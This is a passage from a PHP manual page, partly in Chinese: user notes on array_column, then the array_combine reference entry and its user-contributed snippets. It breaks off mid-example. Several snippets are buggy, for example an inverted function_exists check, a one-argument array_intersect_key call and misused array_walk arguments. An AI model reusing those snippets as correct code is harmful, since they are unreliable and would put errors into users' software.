        }
    }
    return $result;
}
?>
balbuf 16-May-2018 02:54
This function does not preserve the original keys of the array (when not providing an index_key).

You can work around that like so:

<?php
// instead of
array_column($array, 'column');

// to preserve keys
array_combine(array_keys($array), array_column($array, 'column'));
?>
Dominik59 17-Aug-2017 02:26
Presented function is good when You want to flatten nested array base on only one column, but if You want to flatten whole array You can use this method:

/**
     * Method that transforms nested array into the flat one in below showed way:
     * [
     *      [
     *          [0]=>'today',
     *      ],
     *      [
     *          [0]=>'is',
     *          [1]=>'very',
     *          [2]=>   [
     *                      [0]=>'warm'
     *                  ],
     *      ],
     * ]
     *
     * Into:
     *
     * ['today','is','very','warm']
     *
     * @param $input
     * @return array
     */
    private function transformNestedArrayToFlatArray($input)
    {
        $output_array = [];
        if (is_array($input)) {
            foreach ($input as $value) {
                if (is_array($value)) {
                    $output_array = array_merge($output_array, $this->transformNestedArrayToFlatArray($value));
                } else {
                    array_push($output_array, $value);
                }
            }
        } else {
            array_push($output_array, $input);
        }

        return $output_array;
    }
robsonvnasc at gmail dot com 10-Aug-2017 05:11
Retrieve multiple columns from an array:

$columns_wanted = array('foo','bar');
$array = array('foo'=>1,'bar'=>2,'foobar'=>3);

$filtered_array = array_intersect_key(array_fill_keys($columns_wanted,''));

//filtered_array
// array('foo'=>1,'bar'=>2);
1184427175 at qq dot com 21-Jul-2017 02:52
//php < 5.5
if(function_exists('array_column'))
{
    function array_column($arr_data, $col)
    {
        $result = array_map(function($arr){return $arr[$col]}, $arr_data);
        return $result;
    }
}
katrinaelaine6 at gmail dot com 28-Feb-2017 07:13
array_column() will return duplicate values.

Instead of having to use array_unique(), use the $index_key as a hack.

**Caution: This may get messy when setting the $column_key and/or $index_key as integers.**

<?php

$records = [
        [ 'id' => 2135, 'first_name' => 'John' ],
    [ 'id' => 3245, 'first_name' => 'Sally' ],
    [ 'id' => 5342, 'first_name' => 'Jane' ],
    [ 'id' => 5623, 'first_name' => 'Peter' ],
        [ 'id' => 6982, 'first_name' => 'Sally' ]
];

print_r(array_unique(array_column($records, 'first_name')));

// Force uniqueness by making the key the value.
print_r(array_column($records, 'first_name', 'first_name'));
print_r(array_column($records, 'id', 'first_name'));

// Returns
/*

Array
(
    [0] => John
    [1] => Sally
    [2] => Jane
    [3] => Peter
)

Array
(
    [John] => John
    [Sally] => Sally
    [Jane] => Jane
    [Peter] => Peter
)

Array
(
    [John] => 2135
    [Sally] => 6982
    [Jane] => 5342
    [Peter] => 5623
)

*/

?>
Carlos Granados 30-Sep-2016 03:41
Here's a neat little snippet for filtering a set of records based on a the value of a column:

<?php

function dictionaryFilterList(array $source, array $data, string $column) : array
{
    $new     = array_column($data, $column);
    $keep     = array_diff($new, $source);

    return array_intersect_key($data, $keep);
 }

// Usage:

$users = [
    ['first_name' => 'Jed', 'last_name' => 'Lopez'],
    ['first_name' => 'Carlos', 'last_name' => 'Granados'],
    ['first_name' => 'Dirty', 'last_name' => 'Diana'],
    ['first_name' => 'John', 'last_name' => 'Williams'],
    ['first_name' => 'Betty', 'last_name' => 'Boop'],
    ['first_name' => 'Dan', 'last_name' => 'Daniels'],
    ['first_name' => 'Britt', 'last_name' => 'Anderson'],
    ['first_name' => 'Will', 'last_name' => 'Smith'],
    ['first_name' => 'Magic', 'last_name' => 'Johnson'],
];

var_dump(dictionaryFilterList(['Dirty', 'Dan'], $users, 'first_name'));

// Outputs:
[
    ['first_name' => 'Jed', 'last_name' => 'Lopez'],
    ['first_name' => 'Carlos', 'last_name' => 'Granados'],
    ['first_name' => 'John', 'last_name' => 'Williams'],
    ['first_name' => 'Betty', 'last_name' => 'Boop'],
    ['first_name' => 'Britt', 'last_name' => 'Anderson'],
    ['first_name' => 'Will', 'last_name' => 'Smith'],
    ['first_name' => 'Magic', 'last_name' => 'Johnson']
]

?>
nino at recgr dot com 26-Sep-2016 08:21
array_column implementation that works on multidimensional arrays (not just 2-dimensional):

<?php
function array_column_recursive(array $haystack, $needle) {
    $found = [];
    array_walk_recursive($haystack, function($value, $key) use (&$found, $needle) {
        if ($key == $needle)
            $found[] = $value;
    });
    return $found;
}

Taken from https://github.com/NinoSkopac/array_column_recursive
miguelfzarth at gmail dot com 18-Aug-2016 02:02
<?php
# for PHP < 5.5
# AND it works with arrayObject AND array of objects

if (!function_exists('array_column')) {
    function array_column($array, $columnKey, $indexKey = null)
    {
        $result = array();
        foreach ($array as $subArray) {
            if (is_null($indexKey) && array_key_exists($columnKey, $subArray)) {
                $result[] = is_object($subArray)?$subArray->$columnKey: $subArray[$columnKey];
            } elseif (array_key_exists($indexKey, $subArray)) {
                if (is_null($columnKey)) {
                    $index = is_object($subArray)?$subArray->$indexKey: $subArray[$indexKey];
                    $result[$index] = $subArray;
                } elseif (array_key_exists($columnKey, $subArray)) {
                    $index = is_object($subArray)?$subArray->$indexKey: $subArray[$indexKey];
                    $result[$index] = is_object($subArray)?$subArray->$columnKey: $subArray[$columnKey];
                }
            }
        }
        return $result;
    }
}
?>
greensea 06-Jul-2016 02:42
<?php
if (!function_exists('array_column')) {
    function array_column($input, $column_key, $index_key = NULL) {
        if (!is_array($input)) {
            trigger_error(__FUNCTION__ . '() expects parameter 1 to be array, ' . gettype($input) . ' given', E_USER_WARNING);
            return FALSE;
        }

        $ret = array();
        foreach ($input as $k => $v) {
            $value = NULL;
            if ($column_key === NULL) {
                $value = $v;
            }
            else {
                $value = $v[$column_key];
            }

            if ($index_key === NULL || !isset($v[$index_key])) {
                $ret[] = $value;
            }
            else {
                $ret[$v[$index_key]] = $value;
            }
        }

        return $ret;
    }
}
?>
benjam 25-Mar-2016 05:20
Note that this function will return the last entry when possible keys are duplicated.

<?php

$array = array(
    array(
        '1-1',
        'one',
        'one',
    ),
    array(
        '1-2',
        'two',
        'one',
    ),
);

var_dump(array_column($array, $value = 0, $index = 1));
var_dump(array_column($array, $value = 0, $index = 2));

// returns:
/*

array (size=2)
  'one' => string '1-1' (length=3)
  'two' => string '1-2' (length=3)

array (size=1)
  'one' => string '1-2' (length=3)

*/
?>
Nolan chou 26-Feb-2016 05:21
if (!function_exists('array_column'))
{
    function array_column($input, $column_key=null, $index_key=null)
    {
        $result = array();
        $i = 0;
        foreach ($input as $v)
        {
            $k = $index_key === null || !isset($v[$index_key]) ? $i++ : $v[$index_key];
            $result[$k] = $column_key === null ? $v : (isset($v[$column_key]) ? $v[$column_key] : null);
        }
        return $result;
    }
}
Anonymous 12-Feb-2016 04:45
I added a little more functionality to the more popular answers here to support the $index_key parameter for PHP < 5.5

<?php
// for php < 5.5
if (!function_exists('array_column')) {
    function array_column($input, $column_key, $index_key = null) {
        $arr = array_map(function($d) use ($column_key, $index_key) {
            if (!isset($d[$column_key])) {
                return null;
            }
            if ($index_key !== null) {
                return array($d[$index_key] => $d[$column_key]);
            }
            return $d[$column_key];
        }, $input);

        if ($index_key !== null) {
            $tmp = array();
            foreach ($arr as $ar) {
                $tmp[key($ar)] = current($ar);
            }
            $arr = $tmp;
        }
        return $arr;
    }
}
?>
kaspar dot wilbuer at web dot de 01-Feb-2016 10:59
If you need to extract more than one column from an array, you can use array_intersect_key on each element, like so:

function array_column_multi(array $input, array $column_keys) {
    $result = array();
    $column_keys = array_flip($column_keys);
    foreach($input as $key => $el) {
        $result[$key] = array_intersect_key($el, $column_keys);
    }
    return $result;
}
antonfedonjuk at gmail dot com 21-Jul-2015 06:26
My version is closer to the original than http://github.com/ramsey/array_column
<?php
/**
 * Provides functionality for array_column() to projects using PHP earlier than
 * version 5.5.
 * @copyright (c) 2015 WinterSilence (http://github.com/WinterSilence)
 * @license MIT
 */
if (!function_exists('array_column')) {
    /**
     * Returns an array of values representing a single column from the input
     * array.
     * @param array $array A multi-dimensional array from which to pull a
     *     column of values.
     * @param mixed $columnKey The column of values to return. This value may
     *     be the integer key of the column you wish to retrieve, or it may be
     *     the string key name for an associative array. It may also be NULL to
     *     return complete arrays (useful together with index_key to reindex
     *     the array).
     * @param mixed $indexKey The column to use as the index/keys for the
     *     returned array. This value may be the integer key of the column, or
     *     it may be the string key name.
     * @return array
     */
    function array_column(array $array, $columnKey, $indexKey = null)
    {
        $result = array();
        foreach ($array as $subArray) {
            if (!is_array($subArray)) {
                continue;
            } elseif (is_null($indexKey) && array_key_exists($columnKey, $subArray)) {
                $result[] = $subArray[$columnKey];
            } elseif (array_key_exists($indexKey, $subArray)) {
                if (is_null($columnKey)) {
                    $result[$subArray[$indexKey]] = $subArray;
                } elseif (array_key_exists($columnKey, $subArray)) {
                    $result[$subArray[$indexKey]] = $subArray[$columnKey];
                }
            }
        }
        return $result;
    }
}
?>
till at etill dot net 28-May-2015 03:32
Some remarks not included in the official documentation.

1) array_column does not support 1D arrays, in which case an empty array is returned.

2) The $column_key is zero-based.

3) If $column_key extends the valid index range an empty array is returned.
marianbucur17 at yahoo dot com 18-May-2015 06:19
If array_column is not available you can use the following function, which also has the $index_key parameter:

if (!function_exists('array_column')) {
    function array_column($array, $column_key, $index_key = null)
    {
        return array_reduce($array, function ($result, $item) use ($column_key, $index_key)
        {
            if (null === $index_key) {
                $result[] = $item[$column_key];
            } else {
                $result[$item[$index_key]] = $item[$column_key];
            }

            return $result;
        }, []);
    }
}
mohanrajnr at gmail dot com 06-May-2015 07:50
if array_column does not exist the below solution will work.

if(!function_exists("array_column"))
{

    function array_column($array,$column_name)
    {

        return array_map(function($element) use($column_name){return $element[$column_name];}, $array);

    }

}
robbieaverill[at]gmail.com 23-Mar-2015 07:51
Another option for older PHP versions (pre 5.5.0) is to use array_walk():

<?php
$array = array(
  array('some' => 'var', 'foo' => 'bar'),
  array('some' => 'var', 'foo' => 'bar'),
  array('some' => 'var', 'foo' => 'bar')
);

array_walk($array, function(&$value, $key, $return) {
  $value = $value[$return];
}, 'foo');

print_r($array);

// Array
// (
//     [0] => bar
//     [1] => bar
//     [2] => bar
// )

?>
kiler129 @ nowhere 10-Jan-2015 02:31
Please note this function accepts 2D-arrays ONLY, and silently returns empty array when non-array argument is provided.

Code:
class testObject {
    public $a = 123;
}
$testArray = [new testObject(), new testObject(), new testObject()];
$result = array_column($testArray, 'a')); //array(0) { }
hypxm at qq dot com 09-Dec-2014 06:36
a simple solution:

function arrayColumn(array $array, $column_key, $index_key=null){
        if(function_exists('array_column ')){
            return array_column($array, $column_key, $index_key);
        }
        $result = [];
        foreach($array as $arr){
            if(!is_array($arr)) continue;

            if(is_null($column_key)){
                $value = $arr;
            }else{
                $value = $arr[$column_key];
            }

            if(!is_null($index_key)){
                $key = $arr[$index_key];
                $result[$key] = $value;
            }else{
                $result[] = $value;
            }

        }

        return $result;
    }
coviex 30-Nov-2014 04:53
Value for existing key in the resulting array is rewritten with new value if it exists in another source sub-array.
myles at smyl dot es 23-Nov-2014 02:52
This didn't work for me recursively and needed to come up with a solution.

Here's my solution to the function:

if ( ! function_exists( 'array_column_recursive' ) ) {
    /**
     * Returns the values recursively from columns of the input array, identified by
     * the $columnKey.
     *
     * Optionally, you may provide an $indexKey to index the values in the returned
     * array by the values from the $indexKey column in the input array.
     *
     * @param array $input     A multi-dimensional array (record set) from which to pull
     *                         a column of values.
     * @param mixed $columnKey The column of values to return. This value may be the
     *                         integer key of the column you wish to retrieve, or it
     *                         may be the string key name for an associative array.
     * @param mixed $indexKey  (Optional.) The column to use as the index/keys for
     *                         the returned array. This value may be the integer key
     *                         of the column, or it may be the string key name.
     *
     * @return array
     */
    function array_column_recursive( $input = NULL, $columnKey = NULL, $indexKey = NULL ) {

        // Using func_get_args() in order to check for proper number of
        // parameters and trigger errors exactly as the built-in array_column()
        // does in PHP 5.5.
        $argc   = func_num_args();
        $params = func_get_args();
        if ( $argc < 2 ) {
            trigger_error( "array_column_recursive() expects at least 2 parameters, {$argc} given", E_USER_WARNING );

            return NULL;
        }
        if ( ! is_array( $params[ 0 ] ) ) {
            // Because we call back to this function, check if call was made by self to
            // prevent debug/error output for recursiveness :)
            $callers = debug_backtrace();
            if ( $callers[ 1 ][ 'function' ] != 'array_column_recursive' ){
                trigger_error( 'array_column_recursive() expects parameter 1 to be array, ' . gettype( $params[ 0 ] ) . ' given', E_USER_WARNING );
            }

            return NULL;
        }
        if ( ! is_int( $params[ 1 ] )
             && ! is_float( $params[ 1 ] )
             && ! is_string( $params[ 1 ] )
             && $params[ 1 ] !== NULL
             && ! ( is_object( $params[ 1 ] ) && method_exists( $params[ 1 ], '__toString' ) )
        ) {
            trigger_error( 'array_column_recursive(): The column key should be either a string or an integer', E_USER_WARNING );

            return FALSE;
        }
        if ( isset( $params[ 2 ] )
             && ! is_int( $params[ 2 ] )
             && ! is_float( $params[ 2 ] )
             && ! is_string( $params[ 2 ] )
             && ! ( is_object( $params[ 2 ] ) && method_exists( $params[ 2 ], '__toString' ) )
        ) {
            trigger_error( 'array_column_recursive(): The index key should be either a string or an integer', E_USER_WARNING );

            return FALSE;
        }
        $paramsInput     = $params[ 0 ];
        $paramsColumnKey = ( $params[ 1 ] !== NULL ) ? (string) $params[ 1 ] : NULL;
        $paramsIndexKey  = NULL;
        if ( isset( $params[ 2 ] ) ) {
            if ( is_float( $params[ 2 ] ) || is_int( $params[ 2 ] ) ) {
                $paramsIndexKey = (int) $params[ 2 ];
            } else {
                $paramsIndexKey = (string) $params[ 2 ];
            }
        }
        $resultArray = array();
        foreach ( $paramsInput as $row ) {
            $key    = $value = NULL;
            $keySet = $valueSet = FALSE;
            if ( $paramsIndexKey !== NULL && array_key_exists( $paramsIndexKey, $row ) ) {
                $keySet = TRUE;
                $key    = (string) $row[ $paramsIndexKey ];
            }
            if ( $paramsColumnKey === NULL ) {
                $valueSet = TRUE;
                $value    = $row;
            } elseif ( is_array( $row ) && array_key_exists( $paramsColumnKey, $row ) ) {
                $valueSet = TRUE;
                $value    = $row[ $paramsColumnKey ];
            }

            $possibleValue = array_column_recursive( $row, $paramsColumnKey, $paramsIndexKey );
            if ( $possibleValue ) {
                $resultArray = array_merge( $possibleValue, $resultArray );
            }

            if ( $valueSet ) {
                if ( $keySet ) {
                    $resultArray[ $key ] = $value;
                } else {
                    $resultArray[ ] = $value;
                }
            }
        }

        return $resultArray;
    }
}
WARrior 03-Oct-2013 12:25
You can also use array_map fucntion if you haven't array_column().

example:

$a = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
    )
);

array_column($a, 'last_name');

becomes

array_map(function($element){return $element['last_name'];}, $a);


创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

  • ? array_column
  • array_count_values ?
  • PHP Manual
  • 数组 函数
  • 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

array_combine

(PHP 5, PHP 7, PHP 8)

array_combine — 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

说明

array_combine(array $keys, array $values): array

返回一个 array，用来自 keys 数组的值作为键名，来自 values 数组的值作为相应的值。

参数

keys

将被作为新数组的键。非法的值将会被转换为字符串类型（string）。

values

将被作为 Array 的值。

返回值

返回合并后的 array。

错误／异常

自 PHP 8.0.0 起，如果 keys 和 values 的元素数量不同，将会抛出 ValueError。在 PHP 8.0.0 之前，会引发 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 如果每个数组的元素数量不相等，现在 array_combine() 将会抛出 ValueError，之前此方法返回 false。

示例

Example #1 一个 array_combine() 简单的例子

<?php
$a = array('green', 'red', 'yellow');
$b = array('avocado', 'apple', 'banana');
$c = array_combine($a, $b);

print_r($c);
?>

以上示例会输出：

Array
(
    [green]  => avocado
    [red]    => apple
    [yellow] => banana
)

参见

  • array_merge() - 合并一个或多个数组
  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理
  • array_values() - 返回数组中所有的值
  • array_map() - 为数组的每个元素应用回调函数

User Contributed Notes

Anonymous 09-Jan-2022 01:46
Here a way to manage no uniqueness keys case. Values of duplicate keys are put in an array.

<?php

function array_combine_multi(array $keys, array $values)
{
    if (count($keys) !== count($values)) {
        throw new Exception('Arrays count mismatch');
    }
    $result = [];
    foreach ($values as $i => $value) {
        if (!isset($result[$keys[$i]])) {
            $result[$keys[$i]] = $value;
        } elseif (!is_array($result[$keys[$i]])) {
            $result[$keys[$i]] = [$result[$keys[$i]], $value];
        } else {
            $result[$keys[$i]][] = $value;
        }
    }
    return $result;
}

$keys = ['key-1', 'key-2', 'key-3', 'key-2', 'key-2'];
$values = ['value-1', 'value-2', 'value-3', 'value-4', 'value-5'];
$result = array_combine_multi($keys, $values);
print_r($result);

/*
Gives :

Array (
    [key-1] => value-1
    [key-2] => Array (
        [0] => value-2
        [1] => value-4
        [2] => value-5
    )
    [key-3] => value-3
)
*/
douglasrich9215 at gmail dot com 21-Mar-2018 09:18
I had an epiphany when try to handle NON-ASSOCIATIVE array forms in my controller. This little one liner can pretty much edit ANY kind of non-associative array. For example this one just returns an array of values inputed by a new user.

The $data value is the the json_decoded() value of a register form.
Here is used str_replace, you could definitely do a number of things like preg matches and other things.

$readyToProcessForUser = array_combine(str_replace("new_user_", "", array_keys($data)), $data);

You could also do the same for the values.

$readyToProcessForUser = array_combine(array_keys($data), str_replace("-", "", $data));

Or BOTH!
Use full if you don't want to walk an entire array and the keys through the same callback.

$readyToProcessForUser = array_combine(array_walk('trim', array_keys($data)), array_walk('custom_callback', array_values($data)));
PHPNewbie 22-Jul-2017 06:18
This will seem obvious to some, but if you need to preserve a duplicate key, being you have unique vars, you can switch the array_combine around, to where the vars are the keys, and this will output correctly.

This [default] formula auto-removes the duplicate keys.

$i=0;
foreach (array_combine($keys, $vars) as $key => $var)
{
$i=$i;
echo($key);
echo " ";
echo($var);
}

This formula accomplishes the same thing, in the same order, but the duplicate "keys" (which are now  vars) are kept.

$i=0;
foreach (array_combine($vars, $keys) as $var => $key)
{
$i=$i;
echo($key);
echo " ";
echo($var);
}

I know, I'm a newbie, but perhaps someone else will need this eventually. I couldn't find another solution anywhere.
elite1228 at 163 dot com 03-Jun-2016 09:57
$item = array();
array_map(
    function($element) use($column_name,$key,&$item){
        $item[$element[$key]] = $element[$column_name];
    },
    $data
);
welcome at el hyphen mustafa 29-Nov-2015 09:46
Further to loreiorg's script
in order to preserve duplicate keys when combining arrays.

I have modified the script to use a closure instead of create_function

Reason: see security issue flagged up in the documentation concerning create_function

<?php

function array_combine_($keys, $values){
    $result = array();

    foreach ($keys as $i => $k) {
     $result[$k][] = $values[$i];
     }

    array_walk($result, function(&$v){
     $v = (count($v) == 1) ? array_pop($v): $v;
     });

    return $result;
}

?>
info at maisuma dot jp 04-Mar-2015 01:00
array_combine() returns NULL instrad of FALSE, when non-array parameters are given (issuing warning).

<?php
  //NULL
  var_dump(array_combine('string',array(42)));
?>
ilanfir at gmail dot com 15-Feb-2015 10:58
I recently had to flip an array and group the elements by value, this snippet will do that:
<?php
function flipAndGroup($input) {
    $outArr = array();
    array_walk($input, function($value, $key) use (&$outArr) {
        if(!isset($outArr[$value]) || !is_array($outArr[$value])) {
            $outArr[$value] = [];
        }
        $outArr[$value][] = $key;
    });
    return $outArr;
}
?>

Example:
<?php
$users_countries = array(
    'username1' => 'US',
    'user2' => 'US',
    'newuser' => 'GB'
);
print_r(flipAndGroup($users_countries));
?>

Returns:
Array
(
    [US] => Array
        (
            [0] => username1
            [1] => user2
        )

    [GB] => Array
        (
            [0] => newuser
        )
)
ismorodin at hotmail dot com 04-Jun-2014 03:48
Function eliminates the error Throws E_WARNING if the number of elements in keys and values ??does not match.

function arrCombine($arr1 = array(),$arr2 = array()){
            if(is_array($arr1) && is_array($arr2)):
                $cntArr1 = count($arr1);
                $cntArr2 = count($arr2);
                $difference = max($cntArr1,$cntArr2) - min($cntArr1,$cntArr2);
                if($cntArr1 > $cntArr2):
                    for ($i=1;$i<=$difference;$i++){
                        $arr2[$cntArr2+$i] = $cntArr2 + 1;
                    }
                    return array_combine($arr1,$arr2);
                elseif($cntArr1 < $cntArr2):
                    for ($i=1;$i<=$difference;$i++){
                        $arr1[$cntArr1+$i] = count($arr1) + 1;
                    }
                    return array_combine($arr1,$arr2);
                else:
                    return array_combine($arr1,$arr2);
                endif;
            endif;
    }
$array = [1,4,5,6,7,8];
$array2 = ['john','smith'];

var_dump( arrCombine($array,$array2 ));

array (size=6)
  1 => string 'john' (length=4)
  4 => string 'smith' (length=5)
  5 => int 3
  6 => int 3
  7 => int 3
  8 => int 3

var_dump( arrCombine($array2,$array) );

array (size=6)
  'john' => int 1
  'smith' => int 4
  3 => int 5
  4 => int 6
  5 => int 7
  6 => int 8
loureirorg at gmail dot com 14-Mar-2013 10:48
If two keys are the same, the second one prevails.

Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)

But if you need to keep all values, you can use the function below:

<?php
function array_combine_($keys, $values)
{
    $result = array();
    foreach ($keys as $i => $k) {
        $result[$k][] = $values[$i];
    }
    array_walk($result, create_function('&$v', '$v = (count($v) == 1)? array_pop($v): $v;'));
    return    $result;
}

print_r(array_combine_(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => Array
        (
            [0] => 1
            [1] => 2
        )

    [b] => 3
)
aaron at aaronholmes dot net 22-Jan-2013 04:54
You can create an array hashset from a flat array, storing both keys and values, with array_combine(). This works with duplicate values in the array too.

<?php
$flat_array = array(
        'one',
        'two',
        'three',
        'three',
        'four',
        'one'
);

$set = array_combine($flat_array, $flat_array);

var_dump($set);
?>

This outputs the following:

array(4) {
    ["one"]=>
        string(3) "one"
    ["two"]=>
        string(3) "two"
    ["three"]=>
        string(5) "three"
    ["four"]=>
        string(4) "four"
}
g.REMOVETHIS.vincendon AT vithemis.com 18-Jul-2012 09:41
I was looking for a function that could combine an array to multiple one, for my MySQL GROUP_CONCAT() query, so I made this function.

<?php
    function array_combine_array(array $keys)
    {
        $arrays = func_get_args();
        $keys = array_shift($arrays);

        /* Checking if arrays are on the same model (array('INDEX'=> array()) or array()) */
        $check = count(array_unique(array_map('is_array',array_map('current',$arrays)))) === 1;
        if (!$check) { trigger_error('Function array_combine_array() expects all parameters to be same type array or array of array',E_USER_NOTICE); return array(); }

        /* Checking the model of arrays, array('INDEX' => array()) or Array() */
        $assocArray = is_array(array_shift(array_map('current',$arrays)));

        /* If empty $Keys is given, we fill an empty array */
        if (empty($keys)) $keys = array_keys(array_fill(0,max(($assocArray) ? array_map('count',array_map('current',$arrays)) : array_map('count',$arrays)),'foo'));

        /* Init */
        $ret=array();$i=0;
        /* Cycling on each keys values, making an offset for each */
        foreach($keys as $v)
        {
            /* Cycling on arrays */
            foreach ($arrays as $k)
            {
                if ($assocArray)
                {
                    /* Getting the index of the element */
                    $key = key($k);
                    /* If the offset exists, we place it */
                    $ret[$v][$key] = isset($k[$key][$i]) ? $k[$key][$i]:false;
                }
                /* Making the array with auto-made index */
                else
                    $ret[$v][] = isset($k[$i]) ? $k[$i]: false;
            }
            /* Getting the next offset */
            $i++;
        }
        return $ret;
    }

    /* Examples */
    $r = array(1,2,4,10);

    $a1 = array('one','two','four','ten');
    $a2 = array('un','deux','quatre','dix');
    $a3 = array('uno','dos','quatro','diez');

     print_r(array_combine_array($r,array('english' => $a1),array('french' => $a2),array('spanish' => $a3))); /* Associative index, associative subarray indexes */
     print_r(array_combine_array($r,$a1,array('french' => $a2),array('spanish' => $a3))); /* Ouputs Error */
     print_r(array_combine_array($r,$a1,$a2,$a3)); /* Associative index, auto-made subarray indexes */
     print_r(array_combine_array(array(),array('english' => $a1),array('french' => $a2),array('spanish' => $a3))); /* Auto-made index, associative subarray indexes */
?>
dejiakala at gmail dot com 27-Oct-2011 03:32
I needed to read CSV files into associative arrays with column headers as keys. Then I ran into a problem when you have empty columns at the end of a row because array_combine returns false if both arrays don't have the same number of elements. This function based on quecoder at gmail's combine_arr() below allowed me to pad either array or not when parsing my CSVs to arrays.
$a is the array of header columns and $b is an array of the current row retrieved with fgetcsv()

<?php

function array_combine_special($a, $b, $pad = TRUE) {
    $acount = count($a);
    $bcount = count($b);
    // more elements in $a than $b but we don't want to pad either
    if (!$pad) {
        $size = ($acount > $bcount) ? $bcount : $acount;
        $a = array_slice($a, 0, $size);
        $b = array_slice($b, 0, $size);
    } else {
        // more headers than row fields
        if ($acount > $bcount) {
            $more = $acount - $bcount;
            // how many fields are we missing at the end of the second array?
            // Add empty strings to ensure arrays $a and $b have same number of elements
            $more = $acount - $bcount;
            for($i = 0; $i < $more; $i++) {
                $b[] = "";
            }
        // more fields than headers
        } else if ($acount < $bcount) {
            $more = $bcount - $acount;
            // fewer elements in the first array, add extra keys
            for($i = 0; $i < $more; $i++) {
                $key = 'extra_field_0' . $i;
                $a[] = $key;
            }

        }
    }

    return array_combine($a, $b);
}
?>
Dan LaManna 17-Sep-2011 08:12
I needed a function that truncated extra values, and only went as far as keys without throwing a warning as array_combine does.

<?php
function safeArrayCombine($keys, $values) {
    $combinedArray = array();

    for ($i=0, $keyCount = count($keys); $i < $keyCount; $i++) {
         $combinedArray[$keys[$i]] = $values[$i];
    }

    return $combinedArray;
}
?>
zequez at gmail dot com 27-Mar-2011 03:51
If two keys are the same, the second one prevails.
Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)
claude dot pache at gmail dot com 12-May-2010 10:04
array_combine() has a strange bug/misfeature (as of PHP 5.3.2): There is no logical reason for <? array_combine(array(), array()) ?> throwing a warning and returning FALSE, instead of returning <? array() ?> (see http://bugs.php.net/bug.php?id=34857). Here is a quick workaround:
<?php
function array_real_combine($a, $b)
{
    return $a===array() && $b===array() ? array() : array_combine($a, $b);
}
?>
bradentkeith at dot dontspam dot gmail dot com 01-Apr-2010 12:20
I needed a function that would take keys from one unequal array and combine them with the values of another. Real life application:
Select 4 product types.
Each product has a serial.
There are 4 sets of products.

    <?php
        function array_combine2($arr1, $arr2) {
            $count1 = count($arr1);
            $count2 = count($arr2);
            $numofloops = $count2/$count1;

            $i = 0;
            while($i < $numofloops){
                $arr3 = array_slice($arr2, $count1*$i, $count1);
                $arr4[] = array_combine($arr1,$arr3);
                $i++;
            }

            return $arr4;
        }
    ?>

Input:
Array
(
    [0] => SMART Board
    [1] => Projector
    [2] => Speakers
    [3] => Splitter
)
, Array
(
    [0] => serial to smart board1
    [1] => serial to projector 1
    [2] => serial to speakers 1
    [3] => serials to splitter 1
    [4] => serials to smart board 2
    [5] => serials to projector 2
    [6] => serials to speakers 2
    [7] => serials to splitter 2
)

Array
(
    [0] => Array
        (
            [SMART Board] => serial to smart board1
            [Projector] => serial to projector 1
            [Speakers] => serial to speakers 1
            [Splitter] => serials to splitter 1
        )

    [1] => Array
        (
            [SMART Board] => serials to smart board 2
            [Projector] => serials to projector 2
            [Speakers] => serials to speakers 2
            [Splitter] => serials to splitter 2
        )

)
xavier at api-meal dot eu 23-Sep-2009 03:37
<?php
/**
 * Return alternatives defined by values of each parameters.
 *
 * Exemple :
 *
 * array_alternatives(array('foo','bar'), array('baz', 'qux'));
 * array(
 *     array('foo', 'baz'),
 *     array('bar', 'baz'),
 *     array('foo', 'qux'),
 *     array('bar', 'qux'),
 * );
 *
 * array_alternatives(array('a'), array('simple-minded'), array('solution'));
 * array(
 *     array('a', 'simple-minded', 'solution')
 * );
 *
 * array_alternatives(array('a'), array('red', 'blue'), array('car'));
 * array(
 *     array('a', 'red',  'car'),
 *     array('a', 'blue', 'car'),
 * );
 *
 * @param array $first_element
 * @param array $second_element
 * @return array
 * @author Xavier Barbosa
 */
function array_alternatives(array $first_element, array $second_element)
{
    $lists = func_get_args();
    $total_lists = func_num_args();

    for($i=0; $i<$total_lists; $i++)
    {
        $list =& $lists[$i];
        if (is_array($list) === FALSE)
            throw new Exception("Parameter $i is not an array.");
        if (count($list) === 0)
            throw new Exception("Parameter $i has no element.");
        unset($list);
    }

    // Initialize our alternatives
    $alternatives = array();
    foreach($lists[0] as &$value)
    {
        array_push($alternatives, array($value));
        unset($value);
    }
    unset($lists[0]);

    // Process alternatives
    for($i=1; $i<$total_lists; $i++)
    {
        $list =& $lists[$i];

        $new_alternatives = array();
        foreach($list as &$value)
        {
            foreach($alternatives as $_)
            {
                array_push($_, $value);
                array_push($new_alternatives, $_);
            }
        }

        // Rotate references, it's cheaper than copy array like `$alternatives = $new_alternatives;`
        $alternatives =& $new_alternatives;
        unset($new_alternatives, $list, $lists[$i]);
    }

    return $alternatives;
}
?>
quecoder at gmail 26-Aug-2008 12:00
<?php
// If they are not of same size, here is solution:

$abbreviations = array("AL", "AK", "AZ", "AR", "TX", "CA");
$states = array("Alabama", "Alaska", "Arizona", "Arkansas");
function combine_arr($a, $b)
{
    $acount = count($a);
    $bcount = count($b);
    $size = ($acount > $bcount) ? $bcount : $acount;
    $a = array_slice($a, 0, $size);
    $b = array_slice($b, 0, $size);
    return array_combine($a, $b);
}
$combined = combine_arr($abbreviations, $states);
print_r($combined);

//  Output
//  Array ( [AL] => Alabama [AK] => Alaska [AZ] => Arizona
//  [AR] => Arkansas )
?>
J.D.D. 09-Aug-2008 01:31
This may be obvious, but I don't see anything about it on the manual page, so a friendly warning...  The array you are using as keys must have all unique values.  If not, array elements get dropped.

<?php
$arr_notUnique = array('one' , 'one' , 'two');
$arr_b = array('red' , 'green' , 'blue');

$arr_combo = array_combine($arr_notUnique, $arr_b);
?>

Results:  Array ( [one] => green [two] => blue )

NOT:  Array ( [one] => red [one] => green [two] => blue )
Mike Jean 18-Mar-2008 09:59
Khaly's PHP4 code below does not work correctly in all cases. Consider when your array consists of floats:

<?php

$okay = array(0, 10, 20, 30);
$not_okay = array(0, 0.5, 1, 1.5);

$foo = array_combine($okay, $okay);
